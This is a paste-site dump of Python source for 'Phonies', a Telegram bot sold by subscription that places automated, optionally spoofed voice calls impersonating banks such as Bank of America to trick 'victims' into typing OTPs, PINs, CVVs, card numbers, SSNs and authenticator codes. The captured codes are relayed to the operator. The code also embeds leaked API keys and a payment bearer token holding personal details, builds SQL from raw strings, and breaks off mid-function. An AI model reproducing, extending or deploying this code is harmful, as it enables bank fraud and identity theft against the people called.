Untitled

mail@pastecode.io avatar
unknown
plain_text
a year ago
172 kB
8
Indexable
Never
from __future__ import print_function
from flask import Flask, request, send_file
from email import utils
import json, telnyx, base64, time, sys, sqlite3, contextlib, os, uuid, random
from collections import namedtuple
from datetime import datetime, timedelta
from threading import Thread
from flask_ngrok import run_with_ngrok
import requests
import openai
from twilio.rest import Client
from twilio.twiml.voice_response import VoiceResponse, Say, Gather, Pause

from telebot import types
import telebot, openai

app = Flask(__name__)

configuration = json.load(open("phony.json"))
NEURAL_LIST = json.load(open("neural.json"))
COUNTRY_CODE = json.load(open("cc.json"))
PHONY_DB = "phony.db"

bot = telebot.TeleBot(configuration["telegram"]["token"])
openai.api_key = "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"

# global variable
ongoing_call = {}
ongoing_call_command = {}
answered_call = {}
delete_list_call = {}
referral_trx = {}
selected = {}
TELE_CHANNEL = "@PhoniesChannel"

v2_headers = {
    "Content-Type": "application/json",
    "Authorization": "Basic " + base64.b64encode(configuration["sinch"]["key"].encode() + ":".encode() + configuration["sinch"]["secret"].encode()).decode()
}

twl = Client(configuration["twilio"]["account_sid"], configuration["twilio"]["auth_token"])

status_dict = {
    "call.inprogress": "⏱️ *Calling*",
    "call.initiated": "📳 *Ringing*",
    "call.answered": "📲 *Answered*",
    "call.hangup": "☎️ (*Hangup*) _Disconected_",
    "call.noanswer": "🎰 (*Status*) _No Answer_",
    "call.machine.premium.detection.started": "🎛️ (Checking) Who picked up the call?",
    "call.machine.detection.started": "🎛️ (Checking) Who picked up the call?", 
    "call.machine.premium.detection.ended": "Finished checking the call ✔️  (Premium)",
    "call.machine.premium.greeting.ended": "It's Machine, who picked up the call 🤖 (Premium)",
    "call.machine.greeting.ended": "It's Machine, who picked up the call 🤖 (Std)",
    "call.machine.detection.ended": "Finished checking the call ✔️ (Std)",
    "call.dtmf.received": "on-process receiving code ⌛",
    "call.gather.ended": "Finished receiving the code 🖥️",
    "call.speak.started": "Start reading text-to-speech 🗣",
    "call.speak.ended": "Finished reading text-to-sppech ✔️",
    "send.otp": "🪙 Send *One-Time code* to Victim!",
    "your.otp": "🔢 One-Time code:",
    "wait.otp": "⏱️ Send another One-Time code as your requests",
    "incorrect.otp": "The code you provided is incorrect or has expired, we will send you the code one time in 30 seconds, and you can type a new code on your dialpad.",
    "success.otp": "Thank you for confirming the one time code to finish the proccess",
    "channel.notify": """💰 We got an *One-Time code*
For *Phonies* 🇺🇸 member: XUSERNAMEX 😄

*Company* 🎰 : XCOMPANYX
*One-Time code* 🔢 : XCODEX
*Gate* ⚙️ : XGATEX

Let's join with *Phonies* 🇺🇸 at *@Phonies_roBot*.
"""
}

machine_list = ["call.machine.premium.greeting.ended", "call.machine.greeting.ended", "call.hangup"]
detection_list = ["call.machine.premium.detection.ended", "call.machine.detection.ended"]
ongoing_list = ["call.initiated", "call.answered", "call.hangup"]
gather_list = ["call.gather.ended"]
speak_list = ["call.speak.started", "call.speak.ended"]

# database function
def query_many(db_name, sql):
    with contextlib.closing(sqlite3.connect(db_name)) as con, con,  \
            contextlib.closing(con.cursor()) as cur:
        cur.execute(sql)
        return cur.fetchall()

def query(db_name, sql):
    return query_many(db_name, sql)[0]

def execute_statement(db_name, statement):
    with contextlib.closing(sqlite3.connect(db_name)) as conn: # auto-closes
        with conn: # auto-commits
            with contextlib.closing(conn.cursor()) as cursor: # auto-closes
                cursor.execute(statement)

execute_statement(PHONY_DB, "CREATE TABLE IF NOT EXISTS data('call_control_id', 'from', 'to', 'name', 'isBot', 'gatherType', 'status', 'current_data_storedate', 'server', 'digits', 'provider', 'result', 'receive', 'key_api', 'auth_token', 'call_id', 'phone_number', 'chat_id', 'message_id')")
execute_statement(PHONY_DB, "CREATE TABLE IF NOT EXISTS voucher('tipe', 'kode', 'expired', 'used_by')")
execute_statement(PHONY_DB, "CREATE TABLE IF NOT EXISTS users('user_id', 'tipe', 'expired', 'is_active')")
execute_statement(PHONY_DB, "CREATE TABLE IF NOT EXISTS referral('user_id', 'balance', 'code', 'margin')")
execute_statement(PHONY_DB, "CREATE TABLE IF NOT EXISTS referral_history('id_referral', 'id_user', 'transaction', 'bonus', 'date')")

# if there no admin tipe in voucher then create it
if (not query_many(PHONY_DB, "SELECT * FROM voucher WHERE tipe = 'admin'")):
    execute_statement(PHONY_DB, "INSERT INTO voucher VALUES('admin', 'admin', '9999', '')")

provider = json.load(open("provider.json"))
telnyx.api_key = configuration["telnyx"]["api_key"]

def split_message(text):
    return [text[i:i+4000] for i in range(0, len(text), 4000)]

def four_format(value):
    return '-'.join(value[i:i+4] for i in range(0, len(value), 4))

def phone_format(n):
    return format(int(n[:-1]), ",").replace(",", "-") + n[-1]    

def rupiah(value):
    value = int(value)
    return f"IDR {value:,}".replace(",", ".")

def usd(value):
    value = int(value)
    return f"USD {value:,}".replace(",", ".")

def cny(value):
    value = int(value)
    return f"CNY {value:,}".replace(",", ".")

def rub(value):
    value = int(value)
    return f"RUB {value:,}".replace(",", ".")

def currency(base):
    data = {
        "RUB": 200,
        "CNY": 2000,
        "USD": 14000
    }
    return data[base]

def price_rub(idr):
    return round(idr / currency("RUB"), 2)

def price_usd(idr):
    return round(idr / currency("USD"), 2)

def price_cny(idr):
    return round(idr / currency("CNY"), 2)

# Messenger Object
step_2 = {
    "redeem": {}, 
    "extends": {}, 
    "purchase": {}, 
    "referral": {},
    "telnyx": {}, 
    "company": {},
    "twilio": {}
}

btn_step = {}

# Function for whatsapp purposes
def button(title, payload):
    return [types.InlineKeyboardButton( 
        title,
        callback_data = payload
    )]

def buttons(button_list):
    return types.InlineKeyboardMarkup(
        button_list
    )
        
def send_message(sender, message_text, button = ""):
    if (button):
        # btn_step[sender] = sender
        bot.send_message(sender, message_text, reply_markup = button, parse_mode='Markdown')
    else:
        bot.send_message(sender, message_text, parse_mode='Markdown')

def send_voice(sender, url):
    time.sleep(5)
    print("\n\n" + url)
    file_name = "recording_" + str(random.randint(10000, 99999))
    def save_recording(url):
        with requests.get(url, stream=True) as r:
            with open(f"audio/{file_name}.mp3", "wb") as f:
                f.write(r.raw.read())
    save_recording(url)
    voice = open(f'audio/{file_name}.mp3', 'rb')
    bot.send_voice(sender, voice)
    voice.close()
    os.remove(f"audio/{file_name}.mp3")

def get_voice_name(call_id):
    cmdCheck = ongoing_call_command[call_id]
    voiceLang = "en-US-NancyNeural"
    if ("voice" in cmdCheck):
        cmdCheck = cmdCheck.split(" ")
        for cmdc in cmdCheck:
            if ("voice" in cmdc):
                if ("=" in cmdc):
                    return cmdc.split("=")[1]
    
    return ""

def translate(text, lang):
    KEY_1 = configuration["telegram"]["translator"]

    headers = {
        'Ocp-Apim-Subscription-Key': KEY_1,
        'Ocp-Apim-Subscription-Region': 'eastus',
        'Content-Type': 'application/json; charset=UTF-8'
    }

    params = {
        'api-version': '3.0',
        'to': lang
    }

    data = [{
        "Text": text
    }]

    response = requests.post('https://api.cognitive.microsofttranslator.com/translate', params=params, headers=headers, data=json.dumps(data))
    return response.json()[0]["translations"][0]["text"]

def text_to_urlvoice(text, voicetype):
    KEY_1 = configuration["telegram"]["tts"]
    LOCATION = "eastus"
    endpoint = "https://eastus.api.cognitive.microsoft.com/sts/v1.0/issueToken"

    headers = {
        'Ocp-Apim-Subscription-Key': KEY_1,
    }

    response = requests.post(endpoint, headers=headers)
    access_token = str(response.text)

    endpoint = "https://eastus.tts.speech.microsoft.com/cognitiveservices/v1"

    headers = {
        "Authorization": "Bearer " + access_token,
        "Content-Type": "application/ssml+xml",
        "X-Microsoft-OutputFormat": "audio-24khz-160kbitrate-mono-mp3",
    }

    lang = voicetype.split("-")
    lang = lang[len(lang) - 1]
    lang = voicetype.replace(f"-{lang}", "")

    text = translate(text, lang)

    body = f"""<speak version='1.0' xmlns="http://www.w3.org/2001/10/synthesis" xml:lang='{lang}'><voice name='{voicetype}'>{text}</voice></speak>"""

    response = requests.post(endpoint, headers=headers, data=body)
    content = response.content

    filenamenya = str(uuid.uuid1()) + ".mp3"
    with open("audio/" + filenamenya, "wb") as f:
        f.write(content)
    
    return filenamenya

def gojek(value, sender):
    value = int(value)
    headers = {
        'Gojek-Timezone': 'Asia/Jakarta',
        'Host': 'customer.gopayapi.com',
        'Authorization': 'Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJhdWQiOlsiZ29qZWs6Y29uc3VtZXI6YXBwIl0sImRhdCI6eyJhY3RpdmUiOiJ0cnVlIiwiYmxhY2tsaXN0ZWQiOiJmYWxzZSIsImNvdW50cnlfY29kZSI6Iis2MiIsImNyZWF0ZWRfYXQiOiIyMDIyLTAzLTIzVDAwOjM5OjU2WiIsImVtYWlsIjoibm9uaXJhbmlrQGdtYWlsLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjoidHJ1ZSIsImdvcGF5X2FjY291bnRfaWQiOiIwMS1iNjc0MmYzZmNlMGI0M2NiYjYxNTU4ODllMDYwNTA3Yy0zMSIsIm5hbWUiOiJOYWRpZW0gTWFrYXJpbSIsIm51bWJlciI6Ijg5NTYxMDA4NjcwOCIsInBob25lIjoiKzYyODk1NjEwMDg2NzA4Iiwic2lnbmVkX3VwX2NvdW50cnkiOiJJRCIsIndhbGxldF9pZCI6IjIyMDgyMDA0MDIwMDE5MTYzMSJ9LCJleHAiOjE2ODE5OTY3OTYsImlhdCI6MTY3ODg5NTM3OSwiaXNzIjoiZ29pZCIsImp0aSI6IjhkOWFmMGQ2LWE1NzktNGYzZi1iOWRlLWM3Yjc5MjFmMGZmYyIsInNjb3BlcyI6W10sInNpZCI6ImFhZTcwMTZhLTYyOTYtNDRjZC1iNjEzLTllMTVmZTA5NzdhYyIsInN1YiI6ImU2NGQ3ZjljLWFhNTQtNDUxZS1iYTkzLWMwNWY4NDY4MzRiZiIsInVpZCI6Ijc1NjM5Njk5NSIsInV0eXBlIjoiY3VzdG9tZXIifQ.GadvT3Ga9IQ6aMGiRVNGHXVJH7W0zumHlk29-MZMjEa4Eh-2CS43-k-YQY0O-VCDQRiKKxs_gA7WsVwYFQ9hOho5PvYxEkfmwFtVnjDPzz-VEGSO_3lh0wBAT3fFHFHRjVbTaLy-Z7x5zYeazI2evud2QssQVj6LLl4Tfvh4BCw'
    }

    response = requests.get("https://customer.gopayapi.com/v1/users/order-history?country_code=ID&limit=10&service_types=PAY_TO_FRIEND%2CTOPUP", headers=headers)
    if (response.status_code != 200):
        return False
    
    res = response.json()
    datanya = res['data']['completed']
    for x in datanya:
        if (x['items'][0]['amount']['value'] == value):
            step_2['purchase'][sender]["pay_by"] = x['items'][0]['list_notes'] + ' - ' + x['items'][0].get('detail_notes', 'None')
            step_2['purchase'][sender]["days"]
            return True
            
    return False

def get_name(userid):
    # for messenger
    # api = f"https://graph.facebook.com/v2.6/{userid}?fields=name&access_token={PAGE_ACCESS_TOKEN}"
    # r = requests.get(api)
    # return r.json()["name"]

    try:
        return f"@{bot.get_chat_member(userid, userid).user.username}"
    except:
        return "None"

def parse_id(userid):
    return get_name(userid)

def get_first_name(userid):
    return get_name(userid)

def sinch_request(call_id, ins, action):
    url = "https://calling.api.sinch.com/calling/v1/calls/id/" + call_id
    payloads = {
        "instructions": ins,
        "action": action
    }
    req = requests.patch(url, headers = v2_headers, data = json.dumps(payloads))
    return req.json()


# dict for command response
command_res = {
    "help": """*🇺🇸 Phonies Calls 🇺🇸*  

▫️ /help - _view all commands_
▫️ /redeem - _apply license key_
▫️ /renew - _renew your account_
▫️ /account - _view subscription info_
▫️ /purchase - _purchase voucher_
▫️ /staff - _view all staff_
▫️ /modules - _view all modules_
▫️ /status - _view bot active status_
▫️ /countries - _available call country_
▫️ /neural - _view all neural voice_
    """,
    "countries": """*🇺🇸 Phonies Calls 🇺🇸*

*Available Countries*
🇺🇸 United States (+1)
🇨🇦 Canada (+1)

🇦🇹 Austria (+43)
🇧🇪 Belgium (+32)
🇩🇰 Denmark (+45)
🇫🇮 Finland (+358)
🇫🇷 France (+33)
🇩🇪 Germany (+49)
🇬🇷 Greece (+30)
🇮🇪 Ireland (+353)
🇮🇹 Italy (+39)
🇳🇱 Netherland (+31)
🇳🇴 Norway (+47)
🇵🇱 Poland (+48)
🇵🇹 Portugal (+351)
🇪🇸 Spain (+34)
🇸🇪 Sweden (+46)
🇽🇰 Kosovo (+383)

🇦🇺 Australia (+61)
🇳🇿 New Zealand (+64)

🇭🇰 Hong Kong (+852)
🇲🇴 Macao (+853)
🇰🇷 South Korea (+82)
🇯🇵 Japan (+81)

🇸🇬 Singapore (+65)
🇹🇱 Timor Leste (+670)

🇮🇱 Israel (+972)
🇰🇿 Kazakhstan (+7)
""",
    "call": """*🇺🇸 Phonies Calls 🇺🇸*  

*📝 Call Format*
    ▫️ *Normal Format*: "/call <_type_> <_phone number_> <_target name_> <_company_> <_code length_> <_last 4 digits_ : *optional*> <_record_ : *optional*> <_voice_ : *optional*>"
    ▫️ *Spoofer Format*: "/call <_type_> <_phone number_> <_target name_> <_company_> <_code length_> <_last 4 digits_ : *optional*> <_record_ : *optional*> <_voice_ : *optional*> ? <_spoofed number_>"

Note: 
    ▫️ *OPTIONAL*: _You can leave it blank if you don't want to use it._
    ▫️ *LAST 4 DIGITS*: _You can only use it for CVV, CSC, EXP, CARD._
    ▫️ *VOICE*: Use voice=en-US-JennyNeural for neural voice. (change en-US-JennyNeural to your neural voice) 
               Choose your own Neural Voice by type neural command.

*🎰 Call Type*
    ▫️ *CUSTOM* - _Using your own Company script_
    ▫️ *OTP* - _One Time Code_
    ▫️ *PIN* - _Personal Identification Number_
    ▫️ *CVV* - _Card Verification Value_
    ▫️ *CSC* - _Card Security Code_
    ▫️ *EXP* - _Expiry Date_
    ▫️ *AUTH* - _Google Authenticator_
    ▫️ *SSN* - _Social Security Number_
    ▫️ *CARD* - _Card Number_
    ▫️ *ACC* - _Account Number_

*📞 Call Example*
    *Victim Name:* John Doe
    *Type:* OTP
    *Company Name:* Bank of America
    *Phone Number:* +1 123 456 7890
    *Code Length:* 6
    *Last 4 Digits:* -
    *Record:* True *(OPTIONAL)*
    *Voice:* en-US-JennyNeural *(OPTIONAL)*
    *Spoofed Number:* +1 987 654 3210 *(OPTIONAL)*

    *Call Format*: ```/call otp +11234567890 John-Doe Bank-of-America 6 record voice=en-US-JennyNeural ? +19876543210```
    """,
    "call_v2": """*🇺🇸 Phonies Calls v2 🇺🇸*  

*🆕 NEW FEATURE*
    ▫️ CALL TO EVERY COUNTRY
    ▫️ HIDE CALLER NUMBER
    ❌ SPOOFER IS NOT AVAILABLE

*📝 Call Format*
    ▫️ *Format*: "*/call_v2* <_type_> <_phone number_> <_target name_> <_company_> <_last 4 digits_ : *optional*> <_record_ : *optional*> <_hide_ : *optional*> <_voice_ : *optional*>"

Note: 
    ▫️ *OPTIONAL*: _You can leave it blank if you don't want to use it._
    ▫️ *LAST 4 DIGITS*: _You can only use it for CVV, CSC, EXP, CARD._
    ▫️ *HIDE*: _Hide caller number as Anonymous_
    ▫️ *VOICE*: Use voice=en-US-JennyNeural for neural voice. (change en-US-JennyNeural to your neural voice) 
               Choose your own Neural Voice by type neural command.

*🎰 Call Type*
    ▫️ *CUSTOM* - _Using your own Company script_
    ▫️ *OTP* - _One Time Code_
    ▫️ *PIN* - _Personal Identification Number_
    ▫️ *CVV* - _Card Verification Value_
    ▫️ *CSC* - _Card Security Code_
    ▫️ *EXP* - _Expiry Date_
    ▫️ *AUTH* - _Google Authenticator_
    ▫️ *SSN* - _Social Security Number_
    ▫️ *CARD* - _Card Number_
    ▫️ *ACC* - _Account Number_

*📞 Call Example*
    *Victim Name:* John Doe
    *Type:* OTP
    *Company Name:* Bank of America
    *Phone Number:* +1 123 456 7890
    *Last 4 Digits:* -
    *Record:* True *(OPTIONAL)*
    *Hide:* True *(OPTIONAL)*
    *Voice:* en-US-JennyNeural *(OPTIONAL)*

    *Call Format*: ``` /call_v2 otp +11234567890 John-Doe Bank-of-America record hide voice=en-US-JennyNeural```
    """,
    "call_v3": """*🇺🇸 Phonies Calls v3 🇺🇸*  

*🆕 NEW FEATURE*
    ▫️ CALL TO EVERY COUNTRY
    ▫️ TWILIO BASED
    ▫️ HIDE CALLER NUMBER
    ❌ SPOOFER IS NOT AVAILABLE

*📝 Call Format*
    ▫️ *Format*: "*/call_v3* <_type_> <_phone number_> <_target name_> <_company_> <_code length_> <_last 4 digits_ : *optional*> <_record_ : *optional*> <_hide_ : *optional*> <_voice_ : *optional*>"

Note: 
    ▫️ *OPTIONAL*: _You can leave it blank if you don't want to use it._
    ▫️ *LAST 4 DIGITS*: _You can only use it for CVV, CSC, EXP, CARD._
    ▫️ *VOICE*: Use voice=en-US-JennyNeural for neural voice. (change en-US-JennyNeural to your neural voice) 
               Choose your own Neural Voice by type neural command.

*🎰 Call Type*
    ▫️ *CUSTOM* - _Using your own Company script_
    ▫️ *OTP* - _One Time Code_
    ▫️ *PIN* - _Personal Identification Number_
    ▫️ *CVV* - _Card Verification Value_
    ▫️ *CSC* - _Card Security Code_
    ▫️ *EXP* - _Expiry Date_
    ▫️ *AUTH* - _Google Authenticator_
    ▫️ *SSN* - _Social Security Number_
    ▫️ *CARD* - _Card Number_
    ▫️ *ACC* - _Account Number_

*📞 Call Example*
    *Victim Name:* John Doe
    *Type:* OTP
    *Company Name:* Bank of America
    *Code Length*: 6
    *Phone Number:* +1 123 456 7890
    *Last 4 Digits:* -
    *Record:* True *(OPTIONAL)*
    *Hide:* True *(OPTIONAL)*
    *Voice:* en-US-JennyNeural *(OPTIONAL)*

    *Call Format*: ``` /call_v3 otp +11234567890 John-Doe Bank-of-America 6 record hide voice=en-US-JennyNeural```
    """,
    "company": """*🇺🇸 Phonies Calls 🇺🇸*  

▫️ companies - show company list
▫️ company create - create company
▫️ company <_company name_> - show company detail
    """,
    "modules": """*🇺🇸 Phonies Calls 🇺🇸*  

*Available Modules*
🎰 */company* - show company feature
📞 */call* - based on Telnyx
☎️ */call_v2* - based on Sinch
📲 */call_v3* - based on Twilio
📧 */sms* - receive sms
    """
}

# function for an postback
def postback(sender, state):
    state = state.lower()
    if (state == "exit" or state == "/exit"):
        # del btn_step[sender]
        for steps in step_2:
            if sender in step_2[steps]:
                del step_2[steps][sender]

        send_message(sender, "❌ *CANCELLED*: Cancel current on-progress.")
        return

    if "_lang" in state:
        lang = state.split("_")[0]
        lang = "en-US" if lang == "skip" else lang

        if step_2['company'].get(sender, {"step": 0})['step'] == 2:
            step_2['company'][sender]['step'] = 3
            step_2['company'][sender]['custom']['lang'] = lang
            send_message(sender, f"Your company language is set to {lang}")
            send_message(
                sender,
                "Please enter the Welcome Letter for your victim,\nEx: I'm Robert, your Coinbase, personal assistant. We are calling you regarding our security system, detecting an unusual login, around Kolkata, India.\n\nNote: Please make sure, your letter already on the language you are choosing before, or it will not work."
            )
            # del btn_step[sender]
            return

    if "paid_" in state:
        country = state.split("_")[1]
        if country == "ref":
            totconfirm = step_2['purchase'][sender]['total'] + step_2['purchase'][sender]['randomcode']
            
            reffs = query_many(PHONY_DB, "SELECT * FROM referral WHERE user_id = '{}'".format(sender))
            if not reffs:
                send_message(sender, "❌ *WARNING*: You cannot paid by Referral balance, because you are not Referrals.")
                return

            if int(reffs[0][1]) < totconfirm:
                send_message(sender, "❌ *WARNING*: Your Referral balance is not enough to purchase this voucher.")
                return

            blc = int(reffs[0][1]) - totconfirm
            execute_statement(PHONY_DB, "UPDATE referral SET balance = {} WHERE user_id = '{}'".format(blc, sender))

            send_message(sender, f"✅ *SUCCESS*: You have successfully paid by Referral balance, Your Referral balance is now {rupiah(blc)}.")
            
            code = str(uuid.uuid1()).split("-")[0].upper() + str(uuid.uuid1()).split("-")[0].upper()
            code = four_format(code)
            tipe = 'USER'
            duration = step_2['purchase'][sender]["days"]
            execute_statement(PHONY_DB, "INSERT INTO voucher VALUES ('{}', '{}', '{}', '')".format(tipe, code.lower(), duration))
            send_message(
                sender,
                """*Phonies* _Voucher_ 🇺🇸

*CODE*: {}

_The voucher is for account with {} type, and have duration for {} days_
                """.format(code, tipe, duration)
            )

            # del btn_step[sender]
            return
            
        if country == "id":
            totconfirm = step_2['purchase'][sender]['total'] + step_2['purchase'][sender]['randomcode']

            if gojek(totconfirm, sender):
                send_message(
                    sender,
                    f"✅ CONFIRMED: We're receiving payment from {step_2['purchase'][sender]['pay_by']}"
                )

                if sender in referral_trx:
                    reff = query(PHONY_DB, "SELECT * FROM referral WHERE code = '{}'".format(referral_trx[sender]))
                    blc = reff[1]
                    margin = round(totconfirm * ( reff[3] / 100 ))
                    blc += margin

                    execute_statement(PHONY_DB, "UPDATE referral SET balance = {} WHERE code = '{}'".format(blc, referral_trx[sender]))
                    
                    send_message(
                        reff[0],
                        f"✅ REFERRAL: You've got {rupiah(margin)} from referral code {parse_id(sender)} ({get_name(sender)})"
                    )
                    
                    # insert to referral_history
                    execute_statement(PHONY_DB, "INSERT INTO referral_history VALUES ('{}', '{}', '{}', '{}', '{}')".format(
                        reff[0],
                        sender,
                        totconfirm,
                        margin,
                        datetime.now().strftime("%Y-%m-%d %H:%M:%S")
                    ))

                    del referral_trx[sender]


                code = str(uuid.uuid1()).split("-")[0].upper() + str(uuid.uuid1()).split("-")[0].upper()
                code = four_format(code)
                tipe = 'USER'
                duration = step_2['purchase'][sender]["days"]
                execute_statement(PHONY_DB, "INSERT INTO voucher VALUES ('{}', '{}', '{}', '')".format(tipe, code.lower(), duration))
                send_message(
                    sender,
                    """*Phonies* _Voucher_ 🇺🇸
*CODE*: {}

_The voucher is for account with {} type, and have duration for {} days_
                    """.format(code, tipe, duration)
                )
                
                
                # del btn_step[sender]
                return
            else:
                send_message(
                    sender,
                    f"❌ UNCONFIRMED: Please check your payment again, or contact our support if you already paid"
                )
                return
        del referral_trx[sender]
                

    if "buy_" in state:
        country = state.split("_")[1]
        if not country:
            return

        pricing = json.load(open("price.json"))
        marginup = 0

        if sender in referral_trx:
            refcode = referral_trx[sender]
            reff = query(PHONY_DB, "SELECT * FROM referral WHERE code = '{}'".format(refcode))
            marginup = reff[3]
            del referral_trx[sender]
        else:
            marginup = 5

        for priece in pricing:
            pricing[priece] += round(pricing[priece] * (marginup / 100))

        if country == "id":
            send_message(
                sender,
                f"""🇮🇩 *INDONESIA* (_Virtual Account_)

🏷️ *PRICE TAG*
▫️ *1 - 2 Days*: {rupiah(pricing["3"])}/Day
▫️ *3 - 6 Days*: {rupiah(pricing["7"])}/Day
▫️ *7 - 13 Days*: {rupiah(pricing["14"])}/Day
▫️ *14 - 29 Days*: {rupiah(pricing["30"])}/Day
▫️ *30 Days more*: {rupiah(pricing["99999"])}/Day

Reply with the *number of days* you want to buy, and we will send you the payment method.\n\nAnd if you want to *cancel the purchase*, please type /exit to cancel the purchase.
                """
            )
            step_2['purchase'][sender] = {"step": 1, "country": "id"}
            # del btn_step[sender]
            return
        elif country == "ru":
            send_message(
                sender,
                f"""🇺🇸 *RUSSIA* (_Bitcoin_)

🏷️ *PRICE TAG*
▫️ *1 - 2 Days*: {rub(price_rub(pricing["3"]))}/Day
▫️ *3 - 6 Days*: {rub(price_rub(pricing["7"]))}/Day
▫️ *7 - 13 Days*: {rub(price_rub(pricing["14"]))}/Day
▫️ *14 - 29 Days*: {rub(price_rub(pricing["30"]))}/Day
▫️ *30 Days more*: {rub(price_rub(pricing["99999"]))}/Day

Reply with the *number of days* you want to buy, and we will send you the payment method.\n\nAnd if you want to *cancel the purchase*, please type /exit to cancel the purchase."""
            )
            step_2['purchase'][sender] = {"step": 1, "country": "ru"}
            # del btn_step[sender]
            return
        elif country == "cn":
            send_message(
                sender,
                f"""🇨🇳 *CHINA* (_Bitcoin_)

🏷️ *PRICE TAG*
▫️ *1 - 2 Days*: {cny(price_cny(pricing["3"]))}/Day
▫️ *3 - 6 Days*: {cny(price_cny(pricing["7"]))}/Day
▫️ *7 - 13 Days*: {cny(price_cny(pricing["14"]))}/Day
▫️ *14 - 29 Days*: {cny(price_cny(pricing["30"]))}/Day
▫️ *30 Days more*: {cny(price_cny(pricing["99999"]))}/Day

Reply with the *number of days* you want to buy, and we will send you the payment method.\n\nAnd if you want to *cancel the purchase*, please type /exit to cancel the purchase."""
            )
            step_2['purchase'][sender] = {"step": 1, "country": "cn"}
            # del btn_step[sender]
            return
        else:
            send_message(
                sender,
                f"""🌏 *WORLDWIDE*

🏷️ *PRICE TAG*
▫️ *1 - 2 Days*: {usd(price_usd(pricing["3"]))}/Day
▫️ *3 - 6 Days*: {usd(price_usd(pricing["7"]))}/Day
▫️ *7 - 13 Days*: {usd(price_usd(pricing["14"]))}/Day
▫️ *14 - 29 Days*: {usd(price_usd(pricing["30"]))}/Day
▫️ *30 Days more*: {usd(price_usd(pricing["99999"]))}/Day

Reply with the *number of days* you want to buy, and we will send you the payment method.\n\nAnd if you want to *cancel the purchase*, please type /exit to cancel the purchase."""
            )
            step_2['purchase'][sender] = {"step": 1, "country": "global"}
            # del btn_step[sender]
            return

    user_id = sender
    user = query_many(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(user_id))
    if (not user):
        send_message(
            user_id,
            "Your account is not registered."
        )
        return

    data = query_many(PHONY_DB, "SELECT * FROM data WHERE chat_id = '{}'".format(sender))
    call_id = ""
    if data:
        data = data[len(data) -1]

    data_stored = {
        "call_id": data[15],
        "call_control_id": data[0],
        "ke": data[1],
        "to": data[2],
        "name": data[3],
        "isBot": data[4],
        "gatherType": data[5],
        "status": data[6],
        "current_data_storedate": data[7],
        "otp": {
            "server": data[8],
            "digits": data[9],
            "provider": data[10],
            "result": data[11],
            "receive": data[12]
        },
        "auth": {
            "key_api": data[13],
            "auth_token": data[14]
        },
        "phone_number": data[16],
        "chat_id": data[17],
        "message_id": data[18]
    }

    print(data_stored, file=sys.stderr)

    call_id = data_stored["call_id"]
    if not call_id:
        return

    on_call = ongoing_call[data_stored["call_id"]]
    provider = json.load(open("provider.json"))
    o_prov = provider[data_stored['otp']['provider']]

    res = VoiceResponse()

    if ("stop_retry" in state):
        ongoing_call_command[call_id] = ""
        send_message(
            user_id,
            "✅ *COMPLETED*: STOP Retry Call"
        )
        return
        
    if ("hangup" in state):
        try:
            if "sinch" == data_stored["call_control_id"]:
                sinch_request(call_id, [], {"name": "hangup"})
            elif "twilio" == data_stored["call_control_id"]:
                twl.calls(data_stored["call_id"]).update(status='completed')
            else:
                on_call.hangup() 
        except Exception as e:
            send_message(
                sender,
                f"Error: You cannot hang up the call right now!",
            )
            return

        send_message(
            user_id,
            "✅ *COMPLETED*: The call gonna be hangup"
        )
        # del btn_step[sender]

        return

    json_data = {
        'call_control_id': data_stored['call_control_id'],
        'client_state': base64.b64encode("otp".encode("ascii")),
        'command_id': str(uuid.uuid1()),
        'initial_timeout_millis': 120000,
        'inter_digit_timeout_millis': 120000,
        'timeout_millis': 120000,
        'maximum_digits': int(data_stored["otp"]["digits"])
    }

    def speaks(url):
        return {
            "name": "playFiles",
            "ids": [
                f"#href[{url}]"
            ]
        }

    def speak(voiceText):
        vnc = get_voice_name(data_stored["call_id"])
        vnc = "en-US-JennyNeural" if not vnc else vnc
        voiceName = text_to_urlvoice(voiceText, vnc)
        delete_list_call[call_id].append(f"audio/{voiceName}")

        return speaks(f"""{configuration["ngrok"]["url"]}/voice?name={voiceName}""")

    prov = data_stored['otp']['provider'].lower()

    custom_req = prov.split("_")
    registred_custom = ["otp", "cvv", "pin", "auth", "ssn", "card", "acc", "csc", "exp"]
    custom_req = custom_req[len(custom_req) - 1] if custom_req[len(custom_req) - 1] in registred_custom else "otp"

    def speaks_twilio(voiceText):
        vnc = get_voice_name(data_stored["call_id"])
        vnc = "en-US-JennyNeural" if not vnc else vnc
        voiceName = text_to_urlvoice(voiceText, vnc)
        delete_list_call[call_id].append(f"audio/{voiceName}")

        return f"""{configuration["ngrok"]["url"]}/voice?name={voiceName}"""

    def speak_twilio(voiceText):
        if configuration["telegram"]["enableVoice"]:
            res.play(speaks_twilio(voiceText))
        else:
            res.say(voiceText, voice = "woman")

    def gather_dtmf(digit):
        webhook_url = configuration["ngrok"]["url"] + "/twilio/outgoing"
        res.append(
            Gather(
                input = "dtmf",
                action = webhook_url,
                method = "POST",
                numDigits = int(digit),
                timeout = 300000
            )
        )
        
    if ("finish" in state):
        send_message(
            user_id,
            "✅ *COMPLETED*: The call gonna be hangup"
        )
        voice_text = "Thank you for confirming the one time code to finish the proccess".replace("one time code", custom_req)
        if "sinch" == data_stored["call_control_id"]:
            sinch_request(call_id, 
                [speak(voice_text)],
                {"name": "hangup"}
            )
        elif "twilio" == data_stored["call_control_id"]:
            speak_twilio(voice_text)
            res.hangup()
            twl.calls(data_stored["call_id"]).update(twiml=str(res))
        else:
            on_call.playback_stop()
            vnc = get_voice_name(call_id)
            if vnc:
                voiceName = text_to_urlvoice(voice_text, vnc)
                on_call.playback_start(audio_url=configuration["ngrok"]["url"] + "/voice?name=" + voiceName)
                delete_list_call[call_id].append(f"audio/{voiceName}")
            else:
                on_call.speak(
                    payload = voice_text,
                    language=o_prov['lang'],
                    voice="female"
                ) 

            time.sleep(5)
            on_call.hangup() 
        # del btn_step[sender]
        return

    if ("again" in state):
        uy = status_dict["wait.otp"]
        uy = status_dict["wait.otp"].replace("Send another *One-Time code* as your requests", f"Wait for another {custom_req.upper()} Number be entered") if custom_req != "otp" else status_dict["wait.otp"]
        iy = status_dict["incorrect.otp"]
        iy = status_dict["incorrect.otp"].replace("code", f"{custom_req} Number") if custom_req != "otp" else status_dict["incorrect.otp"]

        send_message(data_stored["chat_id"], uy)  
        
        if "sinch" == data_stored["call_control_id"]:
            sinch_request(call_id, 
                [speak(iy)],
                {"name": "continue"}
            )
        elif "twilio" == data_stored["call_control_id"]:
            speak_twilio(iy)
